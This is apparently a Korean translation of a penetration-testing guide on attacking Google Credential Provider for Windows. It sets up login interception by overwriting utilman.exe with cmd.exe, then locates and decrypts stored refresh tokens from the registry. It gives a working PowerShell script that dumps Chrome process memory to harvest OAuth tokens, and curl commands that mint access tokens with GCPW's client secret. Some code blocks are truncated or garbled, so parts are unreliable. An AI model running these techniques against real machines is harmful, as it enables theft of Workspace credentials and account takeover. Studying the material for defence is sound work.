이것은 Google Workspaces가 제공하는 단일 로그인으로, 사용자가 자신의 Workspace 자격 증명을 사용하여 Windows PC에 로그인할 수 있습니다. 또한, 이는 PC의 일부 위치에 Google Workspace에 접근하기 위한 토큰을 저장합니다.
Winpeas가 GCPW를 감지하고, 구성에 대한 정보를 얻으며 심지어 토큰도 가져올 수 있다는 점에 유의하세요.
GCPW - MitM
사용자가 GCPW를 통해 Google Workspace와 동기화된 Windows PC에 접근할 때, 일반 로그인 양식을 완료해야 합니다. 이 로그인 양식은 PC가 새로 고침 토큰과 교환할 OAuth 코드를 반환합니다.
POST /oauth2/v4/token HTTP/2Host:www.googleapis.comContent-Length:311Content-Type:application/x-www-form-urlencoded[...headers...]scope=https://www.google.com/accounts/OAuthLogin&grant_type=authorization_code&client_id=77185425430.apps.googleusercontent.com&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f&device_type=chrome
새로운 줄이 추가되어 가독성이 향상되었습니다.
PC에 Proxifier를 설치하고 utilman.exe 바이너리를 cmd.exe로 덮어쓴 후 Windows 로그인 페이지에서 접근성 기능을 실행하여 CMD를 실행할 수 있습니다. 이를 통해 Proxifier를 실행하고 구성할 수 있습니다.
Proxifier에서 QUICK UDP 트래픽을 차단하는 것을 잊지 마세요. 이렇게 하면 TCP 통신으로 다운그레이드되어 볼 수 있습니다.
또한 "서비스 및 기타 사용자"에서 두 가지 옵션을 구성하고 Windows에 Burp CA 인증서를 설치하세요.
또한 **HKLM:\SOFTWARE\Google\GCPW**에 enable_verbose_logging = 1 및 log_file_path = C:\Public\gcpw.log 키를 추가하면 일부 로그를 저장할 수 있습니다.
GCPW - 지문
GCPW가 장치에 설치되어 있는지 확인하려면 다음 프로세스가 존재하는지 또는 다음 레지스트리 키가 존재하는지 확인할 수 있습니다:
# Check process gcpw_extension.exeif (Get-Process-Name "gcpw_extension"-ErrorAction SilentlyContinue) {Write-Output"The process gcpw_xtension.exe is running."} else {Write-Output"The process gcpw_xtension.exe is not running."}# Check if HKLM\SOFTWARE\Google\GCPW\Users exists$gcpwHKLMPath ="HKLM:\SOFTWARE\Google\GCPW\Users"if (Test-Path $gcpwHKLMPath) {Write-Output"GCPW is installed: The key $gcpwHKLMPath exists."} else {Write-Output"GCPW is not installed: The key $gcpwHKLMPath does not exist."}# Check if HKCU\SOFTWARE\Google\Accounts exists$gcpwHKCUPath ="HKCU:\SOFTWARE\Google\Accounts"if (Test-Path $gcpwHKCUPath) {Write-Output"Google Accounts are present: The key $gcpwHKCUPath exists."} else {Write-Output"No Google Accounts found: The key $gcpwHKCUPath does not exist."}
In **HKCU:\SOFTWARE\Google\Accounts**에서 사용자의 이메일과 최근 로그인한 경우 암호화된 refresh token에 접근할 수 있습니다.
In **HKLM:\SOFTWARE\Google\GCPW\Users**에서 domains_allowed 키에 로그인할 수 있는 domains를 찾을 수 있으며, 하위 키에서는 이메일, 사진, 사용자 이름, 토큰 수명, 토큰 핸들 등 사용자에 대한 정보를 찾을 수 있습니다.
토큰 핸들은 eth.로 시작하는 토큰으로, 다음과 같은 요청을 통해 일부 정보를 추출할 수 있습니다:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'# Example response{"audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":12880152}
액세스 토큰의 토큰 핸들을 찾는 것도 가능한데, 요청은 다음과 같습니다:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'access_token=<access token>'# Example response{"issued_to":"77185425430.apps.googleusercontent.com","audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":1327,"access_type":"offline","token_handle":"eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"}
내가 아는 한, 토큰 핸들에서 리프레시 토큰이나 액세스 토큰을 얻는 것은 불가능하다.
게다가, 파일 **C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse**는 enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (여러 Workspace 사용자가 컴퓨터에 로그인할 수 있는 경우) 및 validityPeriodDays (사용자가 Google에 직접 재인증할 필요가 없는 일수)와 같은 다양한 설정 정보를 포함하는 json이다.
GCPW - 토큰 가져오기
GCPW - 레지스트리 리프레시 토큰
레지스트리 HKCU:\SOFTWARE\Google\Accounts 내에서 **refresh_token**이 암호화된 일부 계정을 찾을 수 있을 것이다. 메서드 **ProtectedData.Unprotect**는 이를 쉽게 복호화할 수 있다.
HKCU:\SOFTWARE\Google\Accounts 데이터 가져오기 및 리프레시 토큰 복호화
```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
</div>
[**이 비디오**](https://www.youtube.com/watch?v=FEQxHRRP_5I)에서 설명한 바와 같이, 레지스트리에서 토큰을 찾지 못한 경우 **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**에서 값을 수정(또는 삭제)할 수 있으며, 사용자가 컴퓨터에 다시 접근할 때 다시 로그인해야 하고 **토큰은 이전 레지스트리에 저장됩니다**.
### GCPW - 디스크 새로 고침 토큰
파일 **`%LocalAppData%\Google\Chrome\User Data\Local State`**는 사용자의 **Google Chrome 프로필** 내에 있는 **`refresh_tokens`**를 복호화하는 키를 저장합니다:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
이러한 토큰에 접근하는 **C# 코드**는 [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)에서 복호화된 방식으로 찾을 수 있습니다.
또한, 암호화는 이 코드에서 찾을 수 있습니다: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
AESGCM이 사용되며, 암호화된 토큰은 **버전**(**`v10`** 현재)으로 시작하고, [**12B의 nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)가 있으며, 마지막으로 **16B의 mac**을 가진 **암호문**이 있습니다.
### GCPW - 프로세스 메모리에서 토큰 덤프하기
다음 스크립트를 사용하여 `procdump`를 사용하여 모든 **Chrome** 프로세스를 **덤프**하고, **문자열**을 추출한 다음 **액세스 및 새로 고침 토큰**과 관련된 문자열을 **검색**할 수 있습니다. Chrome이 일부 Google 사이트에 연결되어 있다면, 일부 **프로세스는 메모리에 새로 고침 및/또는 액세스 토큰을 저장하고 있습니다!**
<details>
<summary>Chrome 프로세스 덤프 및 토큰 검색</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
gcpw_extension.exe로 동일한 작업을 시도했지만 토큰을 찾지 못했습니다.
어떤 이유로 인해 일부 추출된 액세스 토큰은 유효하지 않을 것입니다 (일부는 유효할 수 있습니다). 덤프에서 유효한 토큰을 얻기 위해 문자를 하나씩 제거하는 다음 스크립트를 시도했습니다. 유효한 토큰을 찾는 데는 도움이 되지 않았지만, 아마도 도움이 될 수 있습니다:
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo "Token length: ${#access_token}" done
echo "Error: Token invalid or too short"
</details>
### GCPW - 리프레시 토큰에서 액세스 토큰 생성
리프레시 토큰을 사용하여 다음 명령에 지정된 클라이언트 ID와 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Scopes
리프레시 토큰이 있더라도, 액세스 토큰을 생성하는 애플리케이션에서 지원하는 범위만 요청할 수 있기 때문에 액세스 토큰에 대한 모든 범위를 요청하는 것은 불가능합니다.
또한, 리프레시 토큰은 모든 애플리케이션에서 유효하지 않습니다.
기본적으로 GCPW는 사용자가 모든 가능한 OAuth 범위에 접근할 수 없으므로, 다음 스크립트를 사용하여 refresh_token으로 access_token을 생성하는 데 사용할 수 있는 범위를 찾을 수 있습니다: